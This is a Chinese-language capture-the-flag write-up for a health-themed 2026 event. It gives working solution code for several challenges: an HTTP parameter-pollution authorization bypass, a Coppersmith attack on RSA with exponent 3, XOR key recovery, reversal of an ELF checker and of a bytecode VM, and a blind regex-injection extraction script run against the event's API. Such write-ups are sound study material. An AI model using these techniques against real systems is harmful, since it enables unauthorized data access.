Hack for a Change 2026 March: UN SDG 3 Writeup
Hack for a Change 2026 March: UN SDG 3 Writeup
Hack for a Change 2026 March: UN SDG 3 Writeup
Vaccine Cold Chain
签到题,一直点确认就能得到答案
EHR Parameter Pollution
一道web题,先看源码,发现主逻辑在js里面,进行代码审计:
代码里已经冒出一个非常强的线索了:前端作者自己把隐藏目标叫成了 SYS-ADMIN record,而且写死了“先拿到 admin_access_code,再去 verify”。这说明不该再扫 PT-10xx 了,应该转去打非患者风格的 ID。
鉴权看第一个 patient_id
取数看最后一个 patient_id
隐藏目标不是 PT-10xx 这种连续患者号
前端代码里直接暴露了目标语义:SYS-ADMIN record
去拿admin_access_code:
fetch('/api/ehr-param-pollution?seed=ef060b72a3475dc04a2bc8fd4930614b1a2950d3bf71df3618ab187b623c229f&patient_id=PT-1001&patient_id=SYS-ADMIN', {
credentials: 'omit',
cache: 'no-store'
}).then(r => r.json()).then(console.log)已经拿到隐藏记录,关键值是:
admin_access_code = a029a028a027a026下一步直接 verify:
fetch('/api/ehr-param-pollution?seed=ef060b72a3475dc04a2bc8fd4930614b1a2950d3bf71df3618ab187b623c229f&action=verify', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ admin_access_code: 'a029a028a027a026' }),
credentials: 'omit',
cache: 'no-store',
}).then(r => r.json()).then(console.log)现在Proof code 就是:
cdaaa20a86340104723d257d4d4bfde0直接在页面里:
- 把这个填进 Proof code
- 点 Claim flag
或者控制台直接 claim:
(async () => {
const token = new URLSearchParams(location.search).get('token');
const proof = 'cdaaa20a86340104723d257d4d4bfde0';
const r = await fetch('https://vgwukffsjudbybdeuodn.supabase.co/functions/v1/claim-runtime-flag', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${token}`,
},
body: JSON.stringify({
token,
proof,
slug: 'ehr-param-pollution',
}),
credentials: 'omit',
cache: 'no-store',
});
console.log(await r.json());
})();这题利用链可以总结成:
- 用重复参数污染:
patient_id=PT-1001&patient_id=SYS-ADMIN - 绕过授权并读到隐藏记录
- 拿到
admin_access_code:
a029a028a027a026 - POST 到
action=verify - 拿到
admin_token:
cdaaa20a86340104723d257d4d4bfde0 - 用它 claim flag
SDG{c9dbd007298d92f9906a519fdf4ff24f}
Patient Zero
题目给了两个文件:
encrypt.pypublic.txt
核心描述是:一条病人记录被 RSA 加密了,已知公钥和密文,需要恢复原文。
先看 encrypt.py:
#!/usr/bin/env python3
"""
encrypt.py — RSA encryption used to produce public.txt.
A secret flag is padded with a known prefix and suffix, then encrypted
under RSA with a small public exponent.
"""
import sys
from Crypto.Util.number import bytes_to_long
# RSA public key (same for all instances)
n = 108060031931266353758801330782473639320039225201311917178449705019176660696244872351271382486864507377607807538618062847665115562029186118435965272613853246476229261400861607263122402792644231190189479726984543802757846539830277258662001776505200445021146928156972061161319057790512542181820218329738735817807
e = 3
def encrypt(flag: bytes) -> int:
"""Pad the flag and encrypt under RSA."""
prefix = b"SDGCTF_SECURE_MSG_V1::"
suffix = b"::END"
padded = prefix + flag + suffix
m = bytes_to_long(padded)
if m >= n:
raise ValueError("Message too large for modulus")
return pow(m, e, n)
if __name__ == "__main__":
flag = open("flag.txt", "rb").read().strip()
c = encrypt(flag)
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
print(f"flag_length = {len(flag)}")再看 public.txt:
n = 108060031931266353758801330782473639320039225201311917178449705019176660696244872351271382486864507377607807538618062847665115562029186118435965272613853246476229261400861607263122402792644231190189479726984543802757846539830277258662001776505200445021146928156972061161319057790512542181820218329738735817807
e = 3
c = 100008878800318283632201438905641901786626112629628674497571793527658945303252408192518444765332808863922302554365942020285211201115839756042595666555111768855173496738344017257243733743578327510467420579901928469612017347331628546572717592447637046256354504562975982161650217253359159063440525548096128374926
flag_length = 37这里的 RSA 有两个很明显的问题:
- 使用了很小的公钥指数
e = 3
小指数本身不一定必死,但如果再配上不安全的填充方式,就很容易被打。
- 明文是“固定前缀 + flag + 固定后缀”,也就是:
m = b"SDGCTF_SECURE_MSG_V1::" + flag + b"::END"这不是标准填充(比如 OAEP),而是完全确定性的拼接。
题目还额外泄露了:
flag_length = 37- flag 格式是
SDG{...}
所以实际未知量非常少。
flag 总长是 37,而格式固定为:
SDG{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}其中:
SDG{长 4}长 1- 中间未知部分长
37 - 5 = 32
也就是说我们可以写成:
flag = b"SDG{" + x + b"}"其中 x 是 32 字节未知串。
于是完整明文变成:
m = b"SDGCTF_SECURE_MSG_V1::SDG{" + x + b"}::END"现在前后都已知,只剩中间一个 32 字节未知量 x。
这里是 textbook RSA:
c = m^3 mod n而 m 可以表示成关于 x 的多项式。
设:
prefix = b"SDGCTF_SECURE_MSG_V1::SDG{"suffix = b"}::END"- 未知长度
unknown_len = 32
那么:
m = m0 + x * 256^(len(suffix))其中 m0 是把未知位置先补成 0 得到的整数。
于是可构造:
f(x) = (m0 + x * 256^(len(suffix)))^3 - c ≡ 0 (mod n)这是一个关于 x 的三次多项式。
因为:
e = 3x只有 32 字节,也就是 256 bitn是 1024 bit 左右,n^(1/3)大约 341 bit
所以未知根 x 足够小,满足 Coppersmith 小根攻击条件,可以直接恢复。
exp:
下面用 Sage 直接解:
from sage.all import *
n = 108060031931266353758801330782473639320039225201311917178449705019176660696244872351271382486864507377607807538618062847665115562029186118435965272613853246476229261400861607263122402792644231190189479726984543802757846539830277258662001776505200445021146928156972061161319057790512542181820218329738735817807
e = 3
c = 100008878800318283632201438905641901786626112629628674497571793527658945303252408192518444765332808863922302554365942020285211201115839756042595666555111768855173496738344017257243733743578327510467420579901928469612017347331628546572717592447637046256354504562975982161650217253359159063440525548096128374926
prefix = b"SDGCTF_SECURE_MSG_V1::SDG{"
suffix = b"}::END"
unknown_len = 32
# 在未知位置填 0,构造基准明文
m0 = int.from_bytes(prefix + b"\x00" * unknown_len + suffix, "big")
# x 位于 suffix 前面,所以要左移 len(suffix) 个字节
shift = 256 ** len(suffix)
PR.<x> = PolynomialRing(Zmod(n))
f = (m0 + x * shift)^e - c
roots = f.monic().small_roots(X=2^(8 * unknown_len), beta=1)
assert roots, "No root found"
x_val = int(roots[0])
mid = x_val.to_bytes(unknown_len, "big")
flag = b"SDG{" + mid + b"}"
print(flag.decode())得到:
SDG{b5d5e5c44e80ab9bc7343c103dee50c9}Encrypted Audit Logs
给了一份审计日志文本,题意说是“解密被篡改的审计日志条目,重建未授权访问证据”。日志里最关键的几处提示有三条:
Token self-test: ORSXG5A= [expected: "test"]
这说明 token 至少用了 Base32,因为ORSXG5A=直接 Base32 解码就是test。Cipher config: XOR mode=repeating key_len=4
这说明后面的加密方式是 4 字节循环异或。- 最可疑的一条是 2026-03-17 的高熵 token:
M3G3AOAGXTHXUU56YNYAZ2ESOUGLTFLTAK7MKIKQXSKXEA7NSZ3QLOGOEZEA====
它出现在故障切换之后,明显是最终要解的目标。
先验证第一层编码。
ORSXG5A= Base32 解码后得到:
test说明日志里的 token 先做了 Base32。
然后注意到日志明确写了:
Cipher config: XOR mode=repeating key_len=4所以最终思路就是:
Base32 解码 -> 4字节循环异或还原题目已经告诉了 flag 格式是:
SDG{...}那么最终那条 EncryptedToken Base32 解出来以后,它的前 4 个字节一定对应明文前缀 SDG{。
于是可以直接做已知明文攻击:
key[i] = ciphertext[i] ^ plaintext[i]也就是用密文前 4 字节去异或 SDG{,反推出 4 字节异或 key。
exp
import base64
enc = "M3G3AOAGXTHXUU56YNYAZ2ESOUGLTFLTAK7MKIKQXSKXEA7NSZ3QLOGOEZEA===="
# 第一步:Base32 解码
ct = base64.b32decode(enc)
# 第二步:利用已知 flag 前缀反推 4 字节循环异或 key
prefix = b"SDG{"
key = bytes(ct[i] ^ prefix[i] for i in range(4))
# 第三步:整体异或还原
pt = bytes(ct[i] ^ key[i % 4] for i in range(len(ct)))
print("key =", key.hex())
print("flag =", pt.decode())
'''
key = 3589f743
flag = SDG{3589f7439ae690b0772be5b16da4019e}
'''Vital Signs
题目给了一个 Linux x86_64 ELF 程序 vault,说明如下:
- 运行方式:
./vault <passphrase> - 程序只会输出
Wrong.或Correct! - 目标:恢复正确的维护密码 / flag
最终答案:
SDG{544f9da43e2c8f5ffc05f80a84d6a039}先看附件内容:
unzip Vital_Signs.zip
file vault
strings -a vault可以发现:
vault是 64 位 ELF- 程序被 strip 了,没有现成符号
- 但是字符串很少,关键信息很明显:
Usage: %s <flag>
Wrong.
Correct! The flag is: %s这说明程序本质上就是:
- 接收一个参数
- 做一套校验
- 校验通过就直接把输入当 flag 打印出来
所以这题不是“程序内部另有 flag”,而是你输入的 passphrase 本身就是 flag。
反汇编主函数后,可以很快看出整体流程:
- 参数检查
程序先判断参数个数是否为 2,不是就输出 usage。
- 长度检查
有一段很明显:
call strlen
mov 0x2f00(%rip),%eax ; 取全局长度
cmp %ecx,%eax
jne Wrong后面数据区里能看到这个全局长度是:
4020: 25 00 00 00也就是:
len == 0x25 == 37所以输入长度必须是 37 字节。
这个长度已经很像 SDG{32位hex} 的格式了:
SDG{4 字节- 32 位十六进制 32 字节
}1 字节
总共正好 37。
主逻辑里一共有三层自定义变换,最后与内置常量 memcmp。
第 1 层:256 字节查表替换
反汇编中这段:
lea 0xede(%rip),%rsi # 2060
movzbl (%rbx,%rdx,1),%eax # 取输入 input[i]
movzbl (%rsi,%rax,1),%eax # table[input[i]]
mov %al,(%r11,%rdx,1) # 存到 tmp[i]意思就是:
tmp[i] = table[(unsigned char)input[i]];这是一张 256 字节的替换表,位置在 .rodata+0x2060。
这一步本质就是一个 S-box 替换。
第 2 层:滚动异或
接着有一段:
mov $0x37,%eax
imul %ecx,%eax
lea 0x42(%rax),%edx
...
xor (%rax),%dl
mov %dl,-0x1(%rax)翻译一下:
state = 0x37 * len + 0x42;
for (i = 0; i < len; i++) {
state ^= tmp[i];
tmp[i] = state;
}因为 len = 37,所以初始值:
state = 0x37 * 37 + 0x42 = 53 = 0x35所以这一步就是:
state = 0x35;
for i in range(37):
state ^= tmp[i]
tmp[i] = state这不是标准加密,而是一个前缀异或链。
第 3 层:位重排
在 .rodata+0x2040 还放了一组 8 个整数:
[5, 2, 7, 0, 6, 1, 4, 3]配合下面循环:
bt %eax,%esi # 检查输入字节的第 eax 位
...
mov (%r9,%rax,4),%ecx # 取映射表 map[eax]
shl %cl,%r14d # 1 << map[eax]
or %r14d,%edx含义就是:
out[i] = 0;
for (b = 0; b < 8; b++) {
if (tmp[i] & (1 << b)) {
out[i] |= (1 << map[b]);
}
}也就是:把每个字节的 bit 位重新排列。
映射关系:
原 bit0 -> 新 bit5
原 bit1 -> 新 bit2
原 bit2 -> 新 bit7
原 bit3 -> 新 bit0
原 bit4 -> 新 bit6
原 bit5 -> 新 bit1
原 bit6 -> 新 bit4
原 bit7 -> 新 bit3第 4 层:与目标数组比较
最后:
lea 0x2df5(%rip),%rsi # 4040
call memcmp也就是说最终结果要和内置的 37 字节目标值一致。
目标数组为:
70 dc d4 05 0a fe 0a a3 7d c3 5c a8 28 6f 05 cd
e3 4a 45 ec 45 8d a8 a7 0e 20 05 9a b4 40 fe 05
9a bf 3f e1 e5把整个逻辑整理成伪代码就是:
int check(char *input) {
if (strlen(input) != 37) return 0;
// step1: sbox
for (i = 0; i < 37; i++) {
tmp[i] = table[(unsigned char)input[i]];
}
// step2: rolling xor
state = 0x37 * 37 + 0x42; // 0x35
for (i = 0; i < 37; i++) {
state ^= tmp[i];
tmp[i] = state;
}
// step3: bit permutation
for (i = 0; i < 37; i++) {
out[i] = 0;
for (b = 0; b < 8; b++) {
if (tmp[i] & (1 << b)) {
out[i] |= 1 << map[b];
}
}
}
return memcmp(out, target, 37) == 0;
}这三层全部都可逆:
- 查表替换可逆
只要 256 字节表没有重复值,就能构造逆表 inv_table。
这题这张表正好是一个 0~255 的置换,所以能逆。
- 滚动异或可逆
因为:
new[i] = prev ^ old[i]
prev = new[i]所以反推时:
old[i] = prev ^ new[i]
prev = new[i]- 位重排可逆
位映射 [5,2,7,0,6,1,4,3] 本质只是一个置换,当然可以求逆置换。
所以根本不需要爆破,直接从目标数组反推回原输入即可。
下面给出完整 Python 脚本。exp:
table = bytes.fromhex(
"7bce2174c71a6dc01366b90c5fb20558"
"abfe51a4f74a9df04396e93c8fe23588"
"db2e81d4277acd2073c6196cbf1265b8"
"0b5eb10457aafd50a3f6499cef4295e8"
"3b8ee13487da2d80d32679cc1f72c518"
"6bbe1164b70a5db00356a9fc4fa2f548"
"9bee4194e73a8de03386d92c7fd22578"
"cb1e71c4176abd1063b6095caf0255a8"
"fb4ea1f4479aed4093e6398cdf3285d8"
"2b7ed12477ca1d70c31669bc0f62b508"
"5bae0154a7fa4da0f34699ec3f92e538"
"8bde3184d72a7dd02376c91c6fc21568"
"bb0e61b4075aad0053a6f94c9ff24598"
"eb3e91e4378add3083d6297ccf2275c8"
"1b6ec11467ba0d60b30659acff52a5f8"
"4b9ef14497ea3d90e33689dc2f82d528"
)
target = bytes.fromhex(
"70dcd4050afe0aa37dc35ca8286f05cde34a45ec458da8a70e20059ab440fe059abf3fe1e5"
)
bit_map = [5, 2, 7, 0, 6, 1, 4, 3]
length = 37
seed = (0x37 * length + 0x42) & 0xff # 0x35
# 1) 逆 bit 重排
inv_bit_map = [0] * 8
for src, dst in enumerate(bit_map):
inv_bit_map[dst] = src
def inverse_bit_permute(b):
x = 0
for dst in range(8):
if (b >> dst) & 1:
src = inv_bit_map[dst]
x |= (1 << src)
return x
stage2 = bytes(inverse_bit_permute(b) for b in target)
# 2) 逆滚动异或
stage1 = []
prev = seed
for b in stage2:
stage1.append(prev ^ b)
prev = b
stage1 = bytes(stage1)
# 3) 逆查表
inv_table = [0] * 256
for i, v in enumerate(table):
inv_table[v] = i
flag = bytes(inv_table[b] for b in stage1).decode()
print(flag)运行结果:
SDG{544f9da43e2c8f5ffc05f80a84d6a039}Prescription Pad
附件里是一个 ghost,运行方式很简单:
./ghost <passphrase>返回只有两种:
Correct!Wrong.
这类题最开始先做三件事:
file ghost
strings -a ghost
objdump -d -Mintel ghost你会发现:
- 是 Linux x86_64 ELF
- 符号被剥离
strings基本没有有用逻辑,只有:
Usage: %s <passphrase>Correct!Wrong.Execution limit exceededUnknown opcode 0x%02x at pc=%d
这里最关键的是这两句:
Execution limit exceededUnknown opcode ... at pc=...
这基本已经在明示:不是普通 if/strcmp 校验,而是一个解释器/虚拟机在跑字节码。
看主逻辑那一段汇编,核心结构大概是这样:
- 取用户输入长度
- 读一个全局整数作为“程序长度”
- 读一段全局数据作为“字节码”
- 按
pc一字节一字节取 opcode - 用 jump table 分发到不同 handler
- 用一个栈、一个比较标志、一个小内存区跑逻辑
核心循环可以概括成这样:
pc = 0;
steps = 0;
vm_len = *(int *)0x4020;
code = (uint8_t *)0x4040;
while (pc < vm_len) {
op = code[pc];
if (op 不在合法范围) {
fprintf(stderr, "Unknown opcode 0x%02x at pc=%d\n", op, pc);
return 2;
}
jump_to_handler(op); // 真正的“校验逻辑”都在 handler 里
steps++;
if (steps > 0x186a0) {
fwrite("Execution limit exceeded", ...);
return 2;
}
}所以反编译器看起来会很乱,因为它看到的只是:
- 一个大循环
- 一个跳转表
- 一堆共享尾巴的 handler
真正的“规则”全藏在 .data 里的那段字节码里。
通过汇编能定位出几个重要地址:
0x4020:字节码长度0x4040:字节码起始0x4480:VM 小内存区(256 字节)0x4460:比较标志cmpflag0x4580:栈指针sp0x45a0:栈区(256 字节)0x2068:opcode 跳转表
字节码长度读出来是:
vm_len = 0x29a也就是 666 字节。
字节码从 0x4040 开始,最后两个 opcode 正好是:
0x710x72
很像成功/失败出口。
这题最重要的就是把 jump table 对应的 handler 含义抠出来。
jump table 的计算方式是:
target = 0x2068 + *(int32_t *)(0x2068 + 4 * (op - 0x10));把真正用到的 opcode 对上 handler 后,可以还原出这套 VM 指令集:
opcode | 语义 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 输出 |
| 输出 |
这里有两个特别关键的点:
0x40 idx 会越界补 0
这意味着它可以被拿来做长度检查。
0x50 不会把结果压回栈
它只是改 cmpflag,然后 0x60 / 0x61 再决定跳不跳。
先把 ghost 里的字节码取出来,再按上面的指令集跑一遍,就能完全复现程序行为。
from pathlib import Path
code = Path("ghost").read_bytes()[0x3040:0x3040 + 0x29a]
def rol8(x: int, n: int) -> int:
n &= 7
return ((x << n) | (x >> (8 - n))) & 0xFF if n else x & 0xFF
def run(inp: str):
mem = [0] * 256
st = []
pc = 0
cmpf = 0
steps = 0
while pc < len(code) and steps < 100000:
steps += 1
op = code[pc]
if op == 0x10:
st.append(code[pc + 1])
pc += 2
elif op == 0x20:
b = st.pop() if st else 0
a = st.pop() if st else 0
st.append((a + b) & 0xFF)
pc += 1
elif op == 0x21:
b = st.pop() if st else 0
a = st.pop() if st else 0
st.append((a - b) & 0xFF)
pc += 1
elif op == 0x22:
b = st.pop() if st else 0
a = st.pop() if st else 0
st.append(a ^ b)
pc += 1
elif op == 0x23:
b = st.pop() if st else 0
a = st.pop() if st else 0
st.append((a * b) & 0xFF)
pc += 1
elif op == 0x24:
b = st.pop() if st else 0
a = st.pop() if st else 0
st.append(rol8(a, b))
pc += 1
elif op == 0x25:
b = st.pop() if st else 0
a = st.pop() if st else 0
st.append(a & b)
pc += 1
elif op == 0x30:
st.append(mem[code[pc + 1]])
pc += 2
elif op == 0x31:
mem[code[pc + 1]] = st.pop() if st else 0
pc += 2
elif op == 0x40:
idx = code[pc + 1]
st.append(ord(inp[idx]) if idx < len(inp) else 0)
pc += 2
elif op == 0x50:
b = st.pop() if st else 0
a = st.pop() if st else 0
cmpf = int(a == b)
pc += 1
elif op == 0x60:
tgt = code[pc + 1] | (code[pc + 2] << 8)
pc = tgt if cmpf else pc + 3
elif op == 0x61:
tgt = code[pc + 1] | (code[pc + 2] << 8)
pc = tgt if not cmpf else pc + 3
elif op == 0x71:
return True
elif op == 0x72:
return False
else:
raise ValueError(f"bad opcode {op:#x} at pc={pc}")
return False把字节码按指令长度顺着拆开后,可以得到这种伪汇编:
0: PUSH_IN 37
2: PUSH_IMM 0
4: CMP_EQ
5: JFALSE 665
8: PUSH_IN 36
10: PUSH_IMM 0
12: CMP_EQ
13: JTRUE 665
16: PUSH_IMM 90
18: STORE_MEM 0
20: PUSH_IN 0
22: PUSH_IMM 19
24: XOR
25: PUSH_IMM 7
27: ADD
28: PUSH_IMM 71
30: CMP_EQ
31: JFALSE 665
34: PUSH_IN 1
36: PUSH_IMM 33
38: MUL
39: PUSH_IMM 108
41: XOR
42: PUSH_IMM 168
44: CMP_EQ
45: JFALSE 665
...
664: OK
665: FAIL前两段非常关键:
PUSH_IN 37
PUSH_IMM 0
CMP_EQ
JFALSE FAIL意思是:
input[37] == 0也就是 第 38 个字符不存在,说明长度 最多 37。
接着:
PUSH_IN 36
PUSH_IMM 0
CMP_EQ
JTRUE FAIL意思是:
input[36] != 0也就是 第 37 个字符必须存在。
两条合起来就是:输入长度必须恰好等于 37
从 pc=16 开始,就进入真正的字符校验。
整体上有几种固定模板:
模板 A:xor + add
例如第 0 位:
PUSH_IN 0
PUSH_IMM 19
XOR
PUSH_IMM 7
ADD
PUSH_IMM 71
CMP_EQ对应:
((c ^ 0x13) + 0x07) & 0xff == 0x47模板 B:mul + xor
例如第 1 位:
((c * 0x21) ^ 0x6c) & 0xff == 0xa8模板 C:rol + xor
例如第 2 位:
(rol8(c, 3) ^ 0x27) == 0x1d模板 D:带状态的 acc xor
程序一开始先做:
PUSH_IMM 90
STORE_MEM 0也就是:
mem[0] = 0x5a后面每隔几位都会出现:
PUSH_IN i
PUSH_MEM 0
XOR
PUSH_IMM xxx
CMP_EQ
...
PUSH_MEM 0
PUSH_IN i
ADD
STORE_MEM 0意思是:
(c ^ acc) == target
acc = (acc + c) & 0xff这个 acc 会一路滚动更新。
模板 E:高低 4 bit 分开校验
例如第 4 位:
((c & 0xf0) ^ 0x09) == 0x39
((c & 0x0f) ^ 0x9b) == 0x98这类其实是在分别卡高半字节和低半字节。
手工解前几位
第 0 位
((c ^ 0x13) + 0x07) & 0xff == 0x47
=> (c ^ 0x13) == 0x40
=> c == 0x53 == 'S'第 1 位
((c * 0x21) ^ 0x6c) & 0xff == 0xa8枚举可得:
c = 0x44 == 'D'第 2 位
rol8(c, 3) ^ 0x27 == 0x1d
=> rol8(c, 3) == 0x3a
=> c == 0x47 == 'G'第 3 位
初始 acc = 0x5a
c ^ 0x5a == 0x21
=> c == 0x7b == '{'然后更新:
acc = 0x5a + 0x7b = 0xd5所以前四位已经出来:
SDG{继续翻下去,能得到这一串约束:
0: ((c ^ 0x13) + 0x07) & 0xff == 0x47 -> 'S'
1: ((c * 0x21) ^ 0x6c) & 0xff == 0xa8 -> 'D'
2: (rol(c,3) ^ 0x27) == 0x1d -> 'G'
3: (c ^ 0x5a) == 0x21 -> '{', acc=0xd5
4: ((c & 0xf0) ^ 0x09) == 0x39 and ((c & 0x0f) ^ 0x9b) == 0x98 -> '3'
5: ((c ^ 0x26) + 0x3e) & 0xff == 0x5d -> '9'
6: ((c * 0xb1) ^ 0xbb) & 0xff == 0x4f -> '4'
7: (rol(c,1) ^ 0xee) == 0x80 -> '7'
8: (c ^ 0xd5) == 0xe0 -> '5', acc=0x0a
9: ((c & 0xf0) ^ 0xea) == 0x8a and ((c & 0x0f) ^ 0x0e) == 0x0f -> 'a'
10: ((c ^ 0x39) + 0x75) & 0xff == 0x80 -> '2'
11: ((c * 0x43) ^ 0x0a) & 0xff == 0x69 -> 'a'
12: (rol(c,6) ^ 0xb5) == 0x38 -> '6'
13: (c ^ 0x0a) == 0x69 -> 'c', acc=0x6d
14: ((c & 0xf0) ^ 0xcb) == 0xfb and ((c & 0x0f) ^ 0x81) == 0x80 -> '1'
15: ((c ^ 0x4c) + 0xac) & 0xff == 0x20 -> '8'
16: ((c * 0xd3) ^ 0x59) & 0xff == 0xf6 -> '5'
17: (rol(c,4) ^ 0x7c) == 0x5f -> '2'
18: (c ^ 0x6d) == 0x54 -> '9', acc=0xa6
19: ((c & 0xf0) ^ 0xac) == 0x9c and ((c & 0x0f) ^ 0xf4) == 0xfc -> '8'
20: ((c ^ 0x5f) + 0xe3) & 0xff == 0x4f -> '3'
21: ((c * 0x65) ^ 0xa8) & 0xff == 0xdc -> 'd'
22: (rol(c,2) ^ 0x43) == 0x93 -> '4'
23: (c ^ 0xa6) == 0x94 -> '2', acc=0xd8
24: ((c & 0xf0) ^ 0x8d) == 0xbd and ((c & 0x0f) ^ 0x67) == 0x67 -> '0'
25: ((c ^ 0x72) + 0x1a) & 0xff == 0x5d -> '1'
26: ((c * 0xf5) ^ 0xf7) & 0xff == 0x43 -> 'd'
27: (rol(c,7) ^ 0x0a) == 0x13 -> '2'
28: (c ^ 0xd8) == 0xbb -> 'c', acc=0x3b
29: ((c & 0xf0) ^ 0x6e) == 0x5e and ((c & 0x0f) ^ 0xda) == 0xd3 -> '9'
30: ((c ^ 0x85) + 0x51) & 0xff == 0x02 -> '4'
31: ((c * 0x87) ^ 0x46) & 0xff == 0xa3 -> '3'
32: (rol(c,5) ^ 0xd1) == 0x57 -> '4'
33: (c ^ 0x3b) == 0x5f -> 'd', acc=0x9f
34: ((c & 0xf0) ^ 0x4f) == 0x7f and ((c & 0x0f) ^ 0x4d) == 0x4b -> '6'
35: ((c ^ 0x98) + 0x88) & 0xff == 0x86 -> 'f'
36: ((c * 0x17) ^ 0x95) & 0xff == 0xae -> '}'拼起来就是:
SDG{39475a2a6c1852983d4201d2c9434d6f}exp:
from typing import List
def rol8(x: int, n: int) -> int:
n &= 7
return ((x << n) | (x >> (8 - n))) & 0xFF if n else x & 0xFF
PRINTABLE = [ord(c) for c in "0123456789abcdefSDG{}"]
out: List[str] = ['?'] * 37
# 前四位
out[0] = chr((((0x47 - 0x07) & 0xFF) ^ 0x13))
out[1] = next(chr(c) for c in PRINTABLE if (((c * 0x21) & 0xFF) ^ 0x6C) == 0xA8)
out[2] = next(chr(c) for c in PRINTABLE if (rol8(c, 3) ^ 0x27) == 0x1D)
out[3] = chr(0x21 ^ 0x5A)
acc = (0x5A + ord(out[3])) & 0xFF
spec = [
(4, ('nib', 0x09, 0x39, 0x9B, 0x98)),
(5, ('xoradd', 0x26, 0x3E, 0x5D)),
(6, ('mulxor', 0xB1, 0xBB, 0x4F)),
(7, ('rolxor', 1, 0xEE, 0x80)),
(8, ('accxor', 0xE0)),
(9, ('nib', 0xEA, 0x8A, 0x0E, 0x0F)),
(10, ('xoradd', 0x39, 0x75, 0x80)),
(11, ('mulxor', 0x43, 0x0A, 0x69)),
(12, ('rolxor', 6, 0xB5, 0x38)),
(13, ('accxor', 0x69)),
(14, ('nib', 0xCB, 0xFB, 0x81, 0x80)),
(15, ('xoradd', 0x4C, 0xAC, 0x20)),
(16, ('mulxor', 0xD3, 0x59, 0xF6)),
(17, ('rolxor', 4, 0x7C, 0x5F)),
(18, ('accxor', 0x54)),
(19, ('nib', 0xAC, 0x9C, 0xF4, 0xFC)),
(20, ('xoradd', 0x5F, 0xE3, 0x4F)),
(21, ('mulxor', 0x65, 0xA8, 0xDC)),
(22, ('rolxor', 2, 0x43, 0x93)),
(23, ('accxor', 0x94)),
(24, ('nib', 0x8D, 0xBD, 0x67, 0x67)),
(25, ('xoradd', 0x72, 0x1A, 0x5D)),
(26, ('mulxor', 0xF5, 0xF7, 0x43)),
(27, ('rolxor', 7, 0x0A, 0x13)),
(28, ('accxor', 0xBB)),
(29, ('nib', 0x6E, 0x5E, 0xDA, 0xD3)),
(30, ('xoradd', 0x85, 0x51, 0x02)),
(31, ('mulxor', 0x87, 0x46, 0xA3)),
(32, ('rolxor', 5, 0xD1, 0x57)),
(33, ('accxor', 0x5F)),
(34, ('nib', 0x4F, 0x7F, 0x4D, 0x4B)),
(35, ('xoradd', 0x98, 0x88, 0x86)),
(36, ('mulxor', 0x17, 0x95, 0xAE)),
]
for idx, rule in spec:
kind = rule[0]
cand = []
for c in PRINTABLE:
ok = False
if kind == 'nib':
x1, y1, x2, y2 = rule[1:]
ok = (((c & 0xF0) ^ x1) == y1) and (((c & 0x0F) ^ x2) == y2)
elif kind == 'xoradd':
x, addv, y = rule[1:]
ok = ((((c ^ x) + addv) & 0xFF) == y)
elif kind == 'mulxor':
mulv, x, y = rule[1:]
ok = ((((c * mulv) & 0xFF) ^ x) == y)
elif kind == 'rolxor':
r, x, y = rule[1:]
ok = ((rol8(c, r) ^ x) == y)
elif kind == 'accxor':
y = rule[1]
ok = ((c ^ acc) == y)
if ok:
cand.append(c)
assert len(cand) == 1, (idx, kind, cand)
out[idx] = chr(cand[0])
if kind == 'accxor':
acc = (acc + cand[0]) & 0xFF
flag = ''.join(out)
print(flag)Dosage Calculator Overflow
看题目描述似乎是个溢出题,不知道让干啥,先把数值调大试试
发现成功拿到token:
故SDG{028f311a10a86abd7351d2b246db1aab}
Pharmacy XOR Oracle
这题思路已经定了:
- 题目给了密文:
3c3c5703075a5c035e54d2d08280818f663a5604555654565705d08b82808d84 - 又明确说是 16 字节 repeating-key XOR
- 还有 encrypt oracle
所以最简单的解法就是:
- 先拿
info,确认密文 - 用 oracle 加密 32 字节全 00
- 因为
00 xor key = key,返回值就是key重复两次 - 用这个 key 去解题目的密文
- 把解出来的明文当 proof 去 claim
SDG{b759e4557ba000dfd7ca7689f593810a}
Health Data NoSQL Injection
SQL注入。先看有用字段
架构:
{
"ok": true,
"system": "ClinicalDB Trial Data API v3.0",
"schema": {
"fields": [
"id",
"participant",
"trial",
"arm",
"enrolled",
"outcome",
"status"
],
"note": "Documented public fields. Classified records may contain additional fields."
},
"query_format": {
"method": "POST",
"endpoint": "?seed=<seed>&action=query",
"body": "{ \"filter\": { \"<field>\": \"<value_or_operator>\" } }",
"operators": [
"$eq",
"$regex",
"$exists",
"$gt",
"$lt",
"$gte",
"$lte"
],
"example": "{ \"filter\": { \"status\": \"completed\" } }"
},
"hints": [
"Classified trial records may contain fields not listed in this schema.",
"Use ?action=fields to enumerate all field names including undocumented ones.",
"The $exists operator tests whether a field is present on a record.",
"Hidden field names follow the pattern: trial_code_<4 hex chars>."
]
}所有字段:
{
"ok": true,
"all_fields": [
"arm",
"enrolled",
"id",
"outcome",
"participant",
"status",
"trial",
"trial_code_cfe7"
],
"note": "All field names across all records, including undocumented ones."
}简单盲注,写个脚本就行:
import requests
import json
BASE = "https://hackforachangemarch2026.vercel.app"
SEED = "6b95e8bffc5a8119cb19a5537ae74c7040a306070bd812870d5bffb834909dfc"
SLUG = "health-data-nosql"
API = f"{BASE}/api/{SLUG}?seed={SEED}"
HEX = "0123456789abcdef"
sess = requests.Session()
sess.headers.update({
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/json",
})
def extract(regex: str):
url = API + "&action=extract"
body = {
"record_id": "TRL-CLASSIFIED",
"regex": regex
}
r = sess.post(url, json=body, timeout=15)
try:
return r.status_code, r.json()
except Exception:
return r.status_code, {"raw": r.text}
def main():
proof = ""
for i in range(32):
found = False
for ch in HEX:
regex = "^" + proof + ch
status, data = extract(regex)
ok = data.get("ok")
match = data.get("match")
print(f"[TRY] pos={i:02d} regex={regex!r} status={status} ok={ok} match={match}")
if ok and match:
proof += ch
print(f"[+] proof so far: {proof}")
found = True
break
if not found:
print("[!] stopped at:", proof)
print(json.dumps(data, ensure_ascii=False, indent=2))
return
print("\n[FINAL PROOF]", proof)
if __name__ == "__main__":
main()[TRY] pos=31 regex='^3a69f77a923eb27ed6e0d94d3eb60cfc' status=200 ok=True match=False
[TRY] pos=31 regex='^3a69f77a923eb27ed6e0d94d3eb60cfd' status=200 ok=True match=True
